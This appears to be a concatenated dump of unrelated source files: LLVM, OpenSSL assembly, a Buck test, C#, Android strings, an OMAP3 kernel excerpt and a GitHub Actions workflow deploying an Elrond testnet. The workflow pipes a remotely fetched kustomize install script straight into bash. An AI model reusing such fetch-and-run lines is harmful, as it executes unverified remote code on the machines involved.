WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef _PSTL_MEMORY_IMPL_H\n#define _PSTL_MEMORY_IMPL_H\n\n#include \n\n#include \"pstl_config.h\"\n#include \"unseq_backend_simd.h\"\n\nnamespace __pstl\n{\nnamespace __internal\n{\n\n//------------------------------------------------------------------------\n// uninitialized_move\n//------------------------------------------------------------------------\n\ntemplate \n_OutputIterator\n__brick_uninitialized_move(_ForwardIterator __first, _ForwardIterator __last, _OutputIterator __result,\n /*vector=*/std::false_type) noexcept\n{\n typedef typename std::iterator_traits<_OutputIterator>::value_type _ValueType2;\n for (; __first != __last; ++__first, ++__result)\n {\n ::new (std::addressof(*__result)) _ValueType2(std::move(*__first));\n }\n return __result;\n}\n\ntemplate \n_OutputIterator\n__brick_uninitialized_move(_ForwardIterator __first, _ForwardIterator __last, _OutputIterator __result,\n /*vector=*/std::true_type) noexcept\n{\n typedef typename std::iterator_traits<_OutputIterator>::value_type __ValueType2;\n typedef typename std::iterator_traits<_ForwardIterator>::reference _ReferenceType1;\n typedef typename std::iterator_traits<_OutputIterator>::reference _ReferenceType2;\n\n return __unseq_backend::__simd_walk_2(\n __first, __last - __first, __result,\n [](_ReferenceType1 __x, _ReferenceType2 __y) { ::new (std::addressof(__y)) __ValueType2(std::move(__x)); });\n}\n\n} // namespace __internal\n} // namespace __pstl\n\n#endif /* _PSTL_MEMORY_IMPL_H */\n"} +{"text": "DEL mscorlib.dll\r\nDEL System.Xml.dll\r\nRD /S /Q BIN\r\nRD /S /Q OBJ"} +{"text": "# This workflows will build a docker container, publish it to Google Container Registry, and deploy it to GKE when a release is created\n# pull_request trigger types: [assigned, unassigned, labeled, unlabeled, opened, edited, closed, reopened, synchronize, ready_for_review, locked, unlocked, review_requested, review_request_removed]\n\n\nname: Build and Deploy Testnet\n\non:\n pull_request:\n branches: [master, development]\n types: [opened, ready_for_review, closed]\n# push:\n# branches:\n# - prometheus-style-metrics-endpoint\n\n# Environment variables available to all jobs and steps in this workflows\nenv:\n GKE_PROJECT: ${{ secrets.GKE_PROJECT }}\n GITHUB_SHA: ${{ github.sha }}\n GKE_REGION: europe-west4\n GKE_CLUSTER: elrond-testnets-cluster\n IMAGE_NODE: elrond-go-node\n IMAGE_SEEDNODE: elrond-go-seednode\n IMAGE_PROXY: elrond-go-proxy\n IMAGE_TXGEN: elrond-go-txgen\n REGISTRY_HOSTNAME: gcr.io\n BASE_PATH: /home/runner/work/elrond-go/elrond-go\n\njobs:\n setup-build-publish-deploy:\n name: Setup, Build, Publish, and Deploy\n runs-on: ubuntu-latest\n steps:\n\n - name: Checkout\n uses: actions/checkout@v2\n with:\n fetch-depth: 0\n\n# https://docs.github.com/en/actions/reference/workflow-commands-for-github-actions#set-an-output-parameter-set-output\n - name: Build decission\n run: '(test -f .github/workflows/env && echo ::set-env name=build_env::true) || echo ENV testnet config does not exist'\n\n # https://github.com/actions/checkout#Checkout-multiple-repos-side-by-side\n # https://github.com/actions/checkout\n - name: Checkout deployment config repo\n uses: actions/checkout@v2\n with:\n repository: elrondnetwork/elrond-k8s-testnet\n token: ${{ secrets.PAT }} # `GitHub_PAT` is a secret that contains your PAT\n path: elrond-k8s-testnet\n ref: master\n\n - name: Checkout deployment config repo\n uses: actions/checkout@v2\n with:\n repository: elrondnetwork/elrond-proxy-go\n token: ${{ secrets.PAT }}\n path: elrond-proxy-go\n ref: master\n\n - name: Checkout deployment config repo\n uses: actions/checkout@v2\n with:\n repository: elrondnetwork/elrond-txgen-go\n token: ${{ secrets.PAT }}\n path: elrond-txgen-go\n ref: master\n\n # Setup gcloud CLI\n - name: Setup gcloud CLI\n uses: GoogleCloudPlatform/github-actions/setup-gcloud@master\n with:\n version: '299.0.0'\n service_account_email: ${{ secrets.GKE_EMAIL }}\n service_account_key: ${{ secrets.GKE_KEY }}\n\n - name: Prep Ubunut\n run: |\n sudo apt update\n sudo apt install bc -y\n\n - name: Create Configs\n run: |\n source .github/workflows/env\n echo elrond-node-shard=\"$NUM_NODES_SHARD\" observer-shard=\"$NUM_OF_SHARDS\"\n\n docker run \\\n -v \"/home/runner/work/elrond-go/elrond-go/cmd/node/config/:/data/\" \\\n elrondnetwork/elrond-go-filegen:latest \\\n -num-of-shards $NUM_OF_SHARDS \\\n -num-of-nodes-in-each-shard $NUM_NODES_SHARD \\\n -total-supply 20000000000000000000000000 \\\n -node-price 2500000000000000000000 \\\n -consensus-group-size $CONSENSUS_GROUP_SIZE \\\n -num-of-metachain-nodes $NUM_NODES_METACHAIN \\\n -metachain-consensus-group-size $METACHAIN_CONSENSUS_GROUP_SIZE \\\n -num-of-observers-in-each-shard 1 \\\n -num-of-observers-in-metachain 1 \\\n -chain-id ${{ github.sha }} \\\n -hysteresis $HYSTERESIS \\\n -stake-type delegated \\\n -output-directory ./\n\n - name: Prepare Configs\n run: |\n source .github/workflows/env\n echo scenarios=$SCENARIOS scenarios-config=$TXGEN_CONFIG_SCENARIOS\n cp -r $BASE_PATH/cmd/node/config/ $BASE_PATH/filegenConfigLocal/\n cp $BASE_PATH/elrond-k8s-testnet/filegenConfig/observerKey.pem $BASE_PATH/filegenConfigLocal/\n sed 's/\\\"startTime\\\":.*/\\\"startTime\\\": '\"$(date -d '5 minutes' +%s)\",'/g' $BASE_PATH/filegenConfigLocal/nodesSetup.json > $BASE_PATH/filegenConfigLocal/nodesSetupUpdated.json\n sed -i.bak 's/Port.*/Port = \\\"1000\\\"/' $BASE_PATH/filegenConfigLocal/p2p.toml\n sed -i.bak 's/InitialPeerList.*/InitialPeerList = [\\\"\\/dns4\\/elrond-seednode\\/tcp\\/10000\\/p2p\\/16Uiu2HAkw5SNNtSvH1zJiQ6Gc3WoGNSxiyNueRKe6fuAuh57G3Bk\\\"]/' $BASE_PATH/filegenConfigLocal/p2p.toml\n\n sed -i.bak 's/Address.*80\\\"/Address = \\\"http:\\/\\/observer-shard-zero:8080\\\"/' $BASE_PATH/elrond-proxy-go/cmd/proxy/config/config.toml\n sed -i.bak 's/Address.*81\\\"/Address = \\\"http:\\/\\/observer-shard-one:8080\\\"/' $BASE_PATH/elrond-proxy-go/cmd/proxy/config/config.toml\n\n sed -i.bak \"/Scenarios =/c\\ Scenarios = [${TXGEN_CONFIG_SCENARIOS}]\" $BASE_PATH/elrond-txgen-go/cmd/txgen/config/config.toml\n sed -i.bak 's/8080/8001/' $BASE_PATH/elrond-txgen-go/cmd/txgen/config/config.toml\n shell: bash\n\n # Configure docker to use the gcloud command-line tool as a credential helper\n - run: |\n # Set up docker to authenticate\n gcloud auth configure-docker\n\n # Build the Docker image\n - name: Build\n run: |\n docker build -t \"$REGISTRY_HOSTNAME\"/\"$GKE_PROJECT\"/\"$IMAGE_NODE\":\"$GITHUB_SHA\" -f ./docker/elrond/Dockerfile .\n docker build -t \"$REGISTRY_HOSTNAME\"/\"$GKE_PROJECT\"/\"$IMAGE_SEEDNODE\":\"$GITHUB_SHA\" -f ./docker/seednode/Dockerfile .\n cd elrond-proxy-go\n docker build -t \"$REGISTRY_HOSTNAME\"/\"$GKE_PROJECT\"/\"$IMAGE_PROXY\":\"$GITHUB_SHA\" -f ./Docker/Dockerfile .\n cd ../elrond-txgen-go\n docker build -t \"$REGISTRY_HOSTNAME\"/\"$GKE_PROJECT\"/\"$IMAGE_TXGEN\":\"$GITHUB_SHA\" -f ./Docker/Dockerfile .\n cd ..\n\n\n # Push the Docker image to Google Container Registry\n - name: Publish\n run: |\n docker push $REGISTRY_HOSTNAME/$GKE_PROJECT/$IMAGE_NODE:$GITHUB_SHA\n docker push $REGISTRY_HOSTNAME/$GKE_PROJECT/$IMAGE_SEEDNODE:$GITHUB_SHA\n docker push $REGISTRY_HOSTNAME\"/\"$GKE_PROJECT\"/\"$IMAGE_PROXY\":\"$GITHUB_SHA\n docker push $REGISTRY_HOSTNAME\"/\"$GKE_PROJECT\"/\"$IMAGE_TXGEN\":\"$GITHUB_SHA\n\n # Deploy the Docker images to the GKE cluster\n - name: Deploy\n run: |\n sudo apt update\n sudo apt install bc -y\n source .github/workflows/env\n export HYSTERESISMUL=$(bc <<< \"(1 + $HYSTERESIS)\")\n export NVS=$(bc <<< \"($NUM_NODES_SHARD + $HYSTERESISMUL - 1) * $HYSTERESISMUL\")\n export NUM_VALIDATORS_ON_SHARD=$(bc <<< \"($NVS+1)/1\")\n export NVM=$(bc <<< \"($NUM_NODES_METACHAIN + $HYSTERESISMUL - 1) * $HYSTERESISMUL\")\n export NUM_VALIDATORS_ON_META=$(bc <<< \"($NVM+1)/1\")\n export NUM_NODES_TOTAL=$(bc <<< \"($NUM_VALIDATORS_ON_SHARD + $NUM_VALIDATORS_ON_META)\")\n echo elrond-node=\"$NUM_NODES_TOTAL\" validators-shard=\"$NUM_VALIDATORS_ON_SHARD\" observer-shard=\"$NUM_OF_SHARDS\"\n\n cd $BASE_PATH/elrond-k8s-testnet/kube/\n curl -s \"https://raw.githubusercontent.com/kubernetes-sigs/kustomize/master/hack/install_kustomize.sh\" | bash\n chmod u+x ./kustomize\n\n gcloud container clusters get-credentials \"$GKE_CLUSTER\" --region \"$GKE_REGION\" --project \"$GKE_PROJECT\"\n\n #TODO: this should add node-pools for new deployment, we need to find logix to delete it with the deletion of a testnet\n #gcloud container node-pools create ${{ github.sha }} --preemptible --cluster \"$GKE_CLUSTER\"\n\n #kubernetes regex for namepsace evaluation '[a-z0-9]([-a-z0-9]*[a-z0-9])?'\n export NAMESPACE=$( echo ${{ github.sha }}/erd/${{ github.ref }} | sed -e 's/[[:punct:]]/-/g' | awk '{print tolower(substr($0,0,63))}' )\n kubectl create namespace \"$NAMESPACE\"\n\n kubectl -n $NAMESPACE create configmap elrond-node-config \\\n --from-file=$BASE_PATH/filegenConfigLocal/validatorKey.pem \\\n --from-file=$BASE_PATH/filegenConfigLocal/observerKey.pem \\\n --from-file=$BASE_PATH/filegenConfigLocal/p2p.toml \\\n --from-file=$BASE_PATH/filegenConfigLocal/delegationWalletKey.pem \\\n --from-file=$BASE_PATH/filegenConfigLocal/genesis.json \\\n --from-file=$BASE_PATH/filegenConfigLocal/genesisSmartContracts.json \\\n --from-file=nodesSetup.json=$BASE_PATH/filegenConfigLocal/nodesSetupUpdated.json \\\n --from-file=$BASE_PATH/filegenConfigLocal/walletKey.pem \\\n --from-file=proxyConfig.toml=$BASE_PATH/elrond-proxy-go/cmd/proxy/config/config.toml \\\n --from-file=proxyEconomics.toml=$BASE_PATH/elrond-proxy-go/cmd/proxy/config/economics.toml \\\n --from-file=txgenConfig.toml=$BASE_PATH/elrond-txgen-go/cmd/txgen/config/config.toml \\\n --from-file=txgenEconomics.toml=$BASE_PATH/elrond-txgen-go/cmd/txgen/config/economics.toml\n\n kubectl -n $NAMESPACE create configmap txgen-config \\\n --from-literal=num_shards_txgen=\"$NUM_OF_SHARDS\" \\\n --from-literal=minting_value=\"$PROXY_MINTING_VALUE\" \\\n --from-literal=num_accounts=\"$PROXY_NUM_ACCOUNTS\" \\\n --from-literal=screnarios=\"${SCENARIOS}\"\n\n ./kustomize edit set replicas elrond-node=$NUM_NODES_TOTAL observer-shard=$NUM_OF_SHARDS\n ./kustomize edit set image elrondnetwork/elrond-go-node=$REGISTRY_HOSTNAME/$GKE_PROJECT/$IMAGE_NODE:$GITHUB_SHA\n ./kustomize edit set image elrondnetwork/elrond-go-seednode=$REGISTRY_HOSTNAME/$GKE_PROJECT/$IMAGE_SEEDNODE:$GITHUB_SHA\n ./kustomize edit set image elrondnetwork/elrond-go-proxy=$REGISTRY_HOSTNAME/$GKE_PROJECT/$IMAGE_PROXY:$GITHUB_SHA\n ./kustomize edit set image elrondnetwork/elrond-go-txgen=$REGISTRY_HOSTNAME/$GKE_PROJECT/$IMAGE_TXGEN:$GITHUB_SHA\n\n ./kustomize edit set namespace \"$NAMESPACE\"\n ./kustomize build ./ | kubectl -n \"$NAMESPACE\" apply --validate=false -f -\n"} +{"text": "\n\n\n\n \"Seleziona le ore\"\n \"Seleziona i minuti\"\n \"Griglia di giorni per mese\"\n \"Elenco degli anni\"\n \"Seleziona mese e giorno\"\n \"Seleziona anno\"\n \"Elemento selezionato: %1$s\"\n \"%1$s eliminato\"\n\n \"OK\"\n \"Annulla\"\n\n \"; fino al %s\"\n \n \"; per una volta\"\n \"; per %d volte\"\n \n \n \"Ogni giorno\"\n \"Ogni %d giorni\"\n \n \"Ogni giorno della sett. (lun-ven)\"\n \n \"Ogni settimana di %2$s\"\n \"Ogni %1$d settimane di %2$s\"\n \n \"Ogni mese\"\n \"Ogni anno\"\n \n \"Ogni %d giorno\"\n \"Ogni %d giorni\"\n \n \n \"Ogni %d settimana\"\n \"Ogni %d settimane\"\n \n \n \"Ogni %d mese\"\n \"Ogni %d mesi\"\n \n \n \"Ogni %d anni\"\n \"Ogni %d anni\"\n \n \"lo stesso giorno ogni mese\"\n \"Sempre\"\n \"Fino a una data\"\n \"Fino al giorno: %s\"\n \"Per una serie di eventi\"\n \n \"Per %d evento\"\n \"Per %d eventi\"\n \n \"modifica data di fine\"\n\n"} +{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nfrom libnmap.objects import NmapHost, NmapService, NmapReport\nfrom libnmap.objects.os import NmapOSFingerprint, NmapOSMatch, NmapOSClass\nfrom libnmap.objects.os import CPE, OSFPPortUsed\nfrom libnmap.parser import NmapParser\n\n\nclass ReportEncoder(json.JSONEncoder):\n def default(self, obj):\n otype = {'NmapHost': NmapHost,\n 'NmapOSFingerprint': NmapOSFingerprint,\n 'NmapOSMatch': NmapOSMatch,\n 'NmapOSClass': NmapOSClass,\n 'CPE': CPE,\n 'OSFPPortUsed': OSFPPortUsed,\n 'NmapService': NmapService,\n 'NmapReport': NmapReport}\n if isinstance(obj, tuple(otype.values())):\n key = ('__{0}__').format(obj.__class__.__name__)\n return {key: obj.__dict__}\n return json.JSONEncoder.default(self, obj)\n\n\nclass ReportDecoder(json.JSONDecoder):\n def decode(self, json_str):\n r = NmapParser.parse_fromdict(json.loads(json_str))\n return r\n"} +{"text": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.facebook.buck.test.config;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertThat;\n\nimport com.facebook.buck.core.config.BuckConfig;\nimport com.facebook.buck.core.config.BuckConfigTestUtils;\nimport com.facebook.buck.core.config.FakeBuckConfig;\nimport com.facebook.buck.core.exceptions.HumanReadableException;\nimport com.facebook.buck.testutil.TemporaryPaths;\nimport com.google.common.base.Joiner;\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.collect.ImmutableMap;\nimport java.io.IOException;\nimport java.io.Reader;\nimport java.io.StringReader;\nimport org.hamcrest.Matchers;\nimport org.junit.Rule;\nimport org.junit.Test;\nimport org.junit.rules.ExpectedException;\n\npublic class TestBuckConfigTest {\n\n @Rule public ExpectedException thrown = ExpectedException.none();\n @Rule public TemporaryPaths temporaryFolder = new TemporaryPaths();\n\n @Test\n public void testExcludedLabels() throws IOException {\n Reader reader =\n new StringReader(Joiner.on('\\n').join(\"[test]\", \"excluded_labels = windows, linux\"));\n TestBuckConfig config =\n BuckConfigTestUtils.createWithDefaultFilesystem(temporaryFolder, reader)\n .getView(TestBuckConfig.class);\n\n assertEquals(\n ImmutableList.of(\"windows\", \"linux\"), config.getDefaultRawExcludedLabelSelectors());\n }\n\n @Test\n public void testGetDefaultTestTimeoutMillis() throws IOException {\n assertEquals(\n 0L,\n FakeBuckConfig.builder()\n .build()\n .getView(TestBuckConfig.class)\n .getDefaultTestTimeoutMillis());\n\n Reader reader = new StringReader(Joiner.on('\\n').join(\"[test]\", \"timeout = 54321\"));\n TestBuckConfig config =\n BuckConfigTestUtils.createWithDefaultFilesystem(temporaryFolder, reader)\n .getView(TestBuckConfig.class);\n assertEquals(54321L, config.getDefaultTestTimeoutMillis());\n }\n\n @Test\n public void testTestThreadUtilizationRatioDefaultValue() {\n BuckConfig buckConfig =\n FakeBuckConfig.builder()\n .setSections(ImmutableMap.of(\"build\", ImmutableMap.of(\"threads\", \"10\")))\n .build();\n assertThat(buckConfig.getView(TestBuckConfig.class).getNumTestThreads(), Matchers.equalTo(10));\n }\n\n @Test\n public void testTestThreadUtilizationRatioRoundsUp() {\n BuckConfig buckConfig =\n FakeBuckConfig.builder()\n .setSections(\n ImmutableMap.of(\n \"build\", ImmutableMap.of(\"threads\", \"10\"),\n \"test\", ImmutableMap.of(\"thread_utilization_ratio\", \"0.51\")))\n .build();\n assertThat(buckConfig.getView(TestBuckConfig.class).getNumTestThreads(), Matchers.equalTo(6));\n }\n\n @Test\n public void testTestThreadUtilizationRatioGreaterThanZero() {\n BuckConfig buckConfig =\n FakeBuckConfig.builder()\n .setSections(\n ImmutableMap.of(\n \"build\", ImmutableMap.of(\"threads\", \"1\"),\n \"test\", ImmutableMap.of(\"thread_utilization_ratio\", \"0.00001\")))\n .build();\n assertThat(buckConfig.getView(TestBuckConfig.class).getNumTestThreads(), Matchers.equalTo(1));\n }\n\n @Test\n public void testTestThreadUtilizationRatioZero() {\n thrown.expect(HumanReadableException.class);\n thrown.expectMessage(Matchers.startsWith(\"thread_utilization_ratio must be greater than zero\"));\n BuckConfig buckConfig =\n FakeBuckConfig.builder()\n .setSections(\n ImmutableMap.of(\n \"build\", ImmutableMap.of(\"threads\", \"1\"),\n \"test\", ImmutableMap.of(\"thread_utilization_ratio\", \"0\")))\n .build();\n buckConfig.getView(TestBuckConfig.class).getNumTestThreads();\n }\n\n @Test\n public void testTestThreadUtilizationRatioLessThanZero() {\n thrown.expect(HumanReadableException.class);\n thrown.expectMessage(Matchers.startsWith(\"thread_utilization_ratio must be greater than zero\"));\n BuckConfig buckConfig =\n FakeBuckConfig.builder()\n .setSections(\n ImmutableMap.of(\n \"build\", ImmutableMap.of(\"threads\", \"1\"),\n \"test\", ImmutableMap.of(\"thread_utilization_ratio\", \"-0.00001\")))\n .build();\n buckConfig.getView(TestBuckConfig.class).getNumTestThreads();\n }\n}\n"} +{"text": "\n.private_extern\t_OPENSSL_cpuid_setup\n.mod_init_func\n\t.p2align\t3\n\t.quad\t_OPENSSL_cpuid_setup\n\n.private_extern\t_OPENSSL_ia32cap_P\n.comm\t_OPENSSL_ia32cap_P,8,2\n\n.text\n\n\n.globl\t_OPENSSL_atomic_add\n\n.p2align\t4\n_OPENSSL_atomic_add:\n\tmovl\t(%rdi),%eax\nL$spin:\tleaq\t(%rsi,%rax,1),%r8\n.byte\t0xf0\n\n\tcmpxchgl\t%r8d,(%rdi)\n\tjne\tL$spin\n\tmovl\t%r8d,%eax\n.byte\t0x48,0x98\n\n\t.byte\t0xf3,0xc3\n\n\n.globl\t_OPENSSL_rdtsc\n\n.p2align\t4\n_OPENSSL_rdtsc:\n\trdtsc\n\tshlq\t$32,%rdx\n\torq\t%rdx,%rax\n\t.byte\t0xf3,0xc3\n\n\n.globl\t_OPENSSL_ia32_cpuid\n\n.p2align\t4\n_OPENSSL_ia32_cpuid:\n\tmovq\t%rbx,%r8\n\n\txorl\t%eax,%eax\n\tcpuid\n\tmovl\t%eax,%r11d\n\n\txorl\t%eax,%eax\n\tcmpl\t$1970169159,%ebx\n\tsetne\t%al\n\tmovl\t%eax,%r9d\n\tcmpl\t$1231384169,%edx\n\tsetne\t%al\n\torl\t%eax,%r9d\n\tcmpl\t$1818588270,%ecx\n\tsetne\t%al\n\torl\t%eax,%r9d\n\tjz\tL$intel\n\n\tcmpl\t$1752462657,%ebx\n\tsetne\t%al\n\tmovl\t%eax,%r10d\n\tcmpl\t$1769238117,%edx\n\tsetne\t%al\n\torl\t%eax,%r10d\n\tcmpl\t$1145913699,%ecx\n\tsetne\t%al\n\torl\t%eax,%r10d\n\tjnz\tL$intel\n\n\n\tmovl\t$2147483648,%eax\n\tcpuid\n\tcmpl\t$2147483649,%eax\n\tjb\tL$intel\n\tmovl\t%eax,%r10d\n\tmovl\t$2147483649,%eax\n\tcpuid\n\torl\t%ecx,%r9d\n\tandl\t$2049,%r9d\n\n\tcmpl\t$2147483656,%r10d\n\tjb\tL$intel\n\n\tmovl\t$2147483656,%eax\n\tcpuid\n\tmovzbq\t%cl,%r10\n\tincq\t%r10\n\n\tmovl\t$1,%eax\n\tcpuid\n\tbtl\t$28,%edx\n\tjnc\tL$generic\n\tshrl\t$16,%ebx\n\tcmpb\t%r10b,%bl\n\tja\tL$generic\n\tandl\t$4026531839,%edx\n\tjmp\tL$generic\n\nL$intel:\n\tcmpl\t$4,%r11d\n\tmovl\t$-1,%r10d\n\tjb\tL$nocacheinfo\n\n\tmovl\t$4,%eax\n\tmovl\t$0,%ecx\n\tcpuid\n\tmovl\t%eax,%r10d\n\tshrl\t$14,%r10d\n\tandl\t$4095,%r10d\n\nL$nocacheinfo:\n\tmovl\t$1,%eax\n\tcpuid\n\tandl\t$3220176895,%edx\n\tcmpl\t$0,%r9d\n\tjne\tL$notintel\n\torl\t$1073741824,%edx\n\tandb\t$15,%ah\n\tcmpb\t$15,%ah\n\tjne\tL$notintel\n\torl\t$1048576,%edx\nL$notintel:\n\tbtl\t$28,%edx\n\tjnc\tL$generic\n\tandl\t$4026531839,%edx\n\tcmpl\t$0,%r10d\n\tje\tL$generic\n\n\torl\t$268435456,%edx\n\tshrl\t$16,%ebx\n\tcmpb\t$1,%bl\n\tja\tL$generic\n\tandl\t$4026531839,%edx\nL$generic:\n\tandl\t$2048,%r9d\n\tandl\t$4294965247,%ecx\n\torl\t%ecx,%r9d\n\n\tmovl\t%edx,%r10d\n\tbtl\t$27,%r9d\n\tjnc\tL$clear_avx\n\txorl\t%ecx,%ecx\n.byte\t0x0f,0x01,0xd0\n\n\tandl\t$6,%eax\n\tcmpl\t$6,%eax\n\tje\tL$done\nL$clear_avx:\n\tmovl\t$4026525695,%eax\n\tandl\t%eax,%r9d\nL$done:\n\tshlq\t$32,%r9\n\tmovl\t%r10d,%eax\n\tmovq\t%r8,%rbx\n\torq\t%r9,%rax\n\t.byte\t0xf3,0xc3\n\n\n.globl\t_OPENSSL_cleanse\n\n.p2align\t4\n_OPENSSL_cleanse:\n\txorq\t%rax,%rax\n\tcmpq\t$15,%rsi\n\tjae\tL$ot\n\tcmpq\t$0,%rsi\n\tje\tL$ret\nL$ittle:\n\tmovb\t%al,(%rdi)\n\tsubq\t$1,%rsi\n\tleaq\t1(%rdi),%rdi\n\tjnz\tL$ittle\nL$ret:\n\t.byte\t0xf3,0xc3\n.p2align\t4\nL$ot:\n\ttestq\t$7,%rdi\n\tjz\tL$aligned\n\tmovb\t%al,(%rdi)\n\tleaq\t-1(%rsi),%rsi\n\tleaq\t1(%rdi),%rdi\n\tjmp\tL$ot\nL$aligned:\n\tmovq\t%rax,(%rdi)\n\tleaq\t-8(%rsi),%rsi\n\ttestq\t$-8,%rsi\n\tleaq\t8(%rdi),%rdi\n\tjnz\tL$aligned\n\tcmpq\t$0,%rsi\n\tjne\tL$ittle\n\t.byte\t0xf3,0xc3\n\n.globl\t_OPENSSL_wipe_cpu\n\n.p2align\t4\n_OPENSSL_wipe_cpu:\n\tpxor\t%xmm0,%xmm0\n\tpxor\t%xmm1,%xmm1\n\tpxor\t%xmm2,%xmm2\n\tpxor\t%xmm3,%xmm3\n\tpxor\t%xmm4,%xmm4\n\tpxor\t%xmm5,%xmm5\n\tpxor\t%xmm6,%xmm6\n\tpxor\t%xmm7,%xmm7\n\tpxor\t%xmm8,%xmm8\n\tpxor\t%xmm9,%xmm9\n\tpxor\t%xmm10,%xmm10\n\tpxor\t%xmm11,%xmm11\n\tpxor\t%xmm12,%xmm12\n\tpxor\t%xmm13,%xmm13\n\tpxor\t%xmm14,%xmm14\n\tpxor\t%xmm15,%xmm15\n\txorq\t%rcx,%rcx\n\txorq\t%rdx,%rdx\n\txorq\t%rsi,%rsi\n\txorq\t%rdi,%rdi\n\txorq\t%r8,%r8\n\txorq\t%r9,%r9\n\txorq\t%r10,%r10\n\txorq\t%r11,%r11\n\tleaq\t8(%rsp),%rax\n\t.byte\t0xf3,0xc3\n\n.globl\t_OPENSSL_ia32_rdrand\n\n.p2align\t4\n_OPENSSL_ia32_rdrand:\n\tmovl\t$8,%ecx\nL$oop_rdrand:\n.byte\t72,15,199,240\n\tjc\tL$break_rdrand\n\tloop\tL$oop_rdrand\nL$break_rdrand:\n\tcmpq\t$0,%rax\n\tcmoveq\t%rcx,%rax\n\t.byte\t0xf3,0xc3\n"} +{"text": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Windows;\nusing DataGridFilterLibrary.Querying;\n\nnamespace DataGridFilterLibrary\n{\n public class DataGridExtensions\n {\n public static DependencyProperty DataGridFilterQueryControllerProperty =\n DependencyProperty.RegisterAttached(\"DataGridFilterQueryController\",\n typeof(QueryController), typeof(DataGridExtensions));\n\n public static QueryController GetDataGridFilterQueryController(DependencyObject target)\n {\n return (QueryController)target.GetValue(DataGridFilterQueryControllerProperty);\n }\n\n public static void SetDataGridFilterQueryController(DependencyObject target, QueryController value)\n {\n target.SetValue(DataGridFilterQueryControllerProperty, value);\n }\n\n public static DependencyProperty ClearFilterCommandProperty =\n DependencyProperty.RegisterAttached(\"ClearFilterCommand\",\n typeof(DataGridFilterCommand), typeof(DataGridExtensions));\n\n public static DataGridFilterCommand GetClearFilterCommand(DependencyObject target)\n {\n return (DataGridFilterCommand)target.GetValue(ClearFilterCommandProperty);\n }\n\n public static void SetClearFilterCommand(DependencyObject target, DataGridFilterCommand value)\n {\n target.SetValue(ClearFilterCommandProperty, value);\n }\n\n public static DependencyProperty IsFilterVisibleProperty =\n DependencyProperty.RegisterAttached(\"IsFilterVisible\",\n typeof(bool?), typeof(DataGridExtensions),\n new FrameworkPropertyMetadata(true));\n\n public static bool? GetIsFilterVisible(\n DependencyObject target)\n {\n return (bool)target.GetValue(IsFilterVisibleProperty);\n }\n\n public static void SetIsFilterVisible(\n DependencyObject target, bool? value)\n {\n target.SetValue(IsFilterVisibleProperty, value);\n }\n\n public static DependencyProperty UseBackgroundWorkerForFilteringProperty =\n DependencyProperty.RegisterAttached(\"UseBackgroundWorkerForFiltering\",\n typeof(bool), typeof(DataGridExtensions),\n new FrameworkPropertyMetadata(false));\n\n public static bool GetUseBackgroundWorkerForFiltering(\n DependencyObject target)\n {\n return (bool)target.GetValue(UseBackgroundWorkerForFilteringProperty);\n }\n\n public static void SetUseBackgroundWorkerForFiltering(\n DependencyObject target, bool value)\n {\n target.SetValue(UseBackgroundWorkerForFilteringProperty, value);\n }\n\n public static DependencyProperty IsClearButtonVisibleProperty =\n DependencyProperty.RegisterAttached(\"IsClearButtonVisible\",\n typeof(bool), typeof(DataGridExtensions),\n new FrameworkPropertyMetadata(true));\n\n public static bool GetIsClearButtonVisible(\n DependencyObject target)\n {\n return (bool)target.GetValue(IsClearButtonVisibleProperty);\n }\n\n public static void SetIsClearButtonVisible(\n DependencyObject target, bool value)\n {\n target.SetValue(IsClearButtonVisibleProperty, value);\n }\n }\n}\n"} +{"text": "
    \n
      \n \t
    • \n
    • \n \n
    \n
    \n "} +{"text": "/*\n * OMAP3 Clock init\n *\n * Copyright (C) 2013 Texas Instruments, Inc\n * Tero Kristo (t-kristo@ti.com)\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License as\n * published by the Free Software Foundation version 2.\n *\n * This program is distributed \"as is\" WITHOUT ANY WARRANTY of any\n * kind, whether express or implied; without even the implied warranty\n * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n */\n\n#include \n#include \n#include \n#include \n#include \n\n#include \"clock.h\"\n\n#define OMAP3430ES2_ST_DSS_IDLE_SHIFT\t\t\t1\n#define OMAP3430ES2_ST_HSOTGUSB_IDLE_SHIFT\t\t5\n#define OMAP3430ES2_ST_SSI_IDLE_SHIFT\t\t\t8\n\n#define OMAP34XX_CM_IDLEST_VAL\t\t\t\t1\n\n/*\n * In AM35xx IPSS, the {ICK,FCK} enable bits for modules are exported\n * in the same register at a bit offset of 0x8. The EN_ACK for ICK is\n * at an offset of 4 from ICK enable bit.\n */\n#define AM35XX_IPSS_ICK_MASK\t\t\t0xF\n#define AM35XX_IPSS_ICK_EN_ACK_OFFSET\t\t0x4\n#define AM35XX_IPSS_ICK_FCK_OFFSET\t\t0x8\n#define AM35XX_IPSS_CLK_IDLEST_VAL\t\t0\n\n#define AM35XX_ST_IPSS_SHIFT\t\t\t5\n\n/**\n * omap3430es2_clk_ssi_find_idlest - return CM_IDLEST info for SSI\n * @clk: struct clk * being enabled\n * @idlest_reg: void __iomem ** to store CM_IDLEST reg address into\n * @idlest_bit: pointer to a u8 to store the CM_IDLEST bit shift into\n * @idlest_val: pointer to a u8 to store the CM_IDLEST indicator\n *\n * The OMAP3430ES2 SSI target CM_IDLEST bit is at a different shift\n * from the CM_{I,F}CLKEN bit. Pass back the correct info via\n * @idlest_reg and @idlest_bit. No return value.\n */\nstatic void omap3430es2_clk_ssi_find_idlest(struct clk_hw_omap *clk,\n\t\t\t\t\t struct clk_omap_reg *idlest_reg,\n\t\t\t\t\t u8 *idlest_bit,\n\t\t\t\t\t u8 *idlest_val)\n{\n\tmemcpy(idlest_reg, &clk->enable_reg, 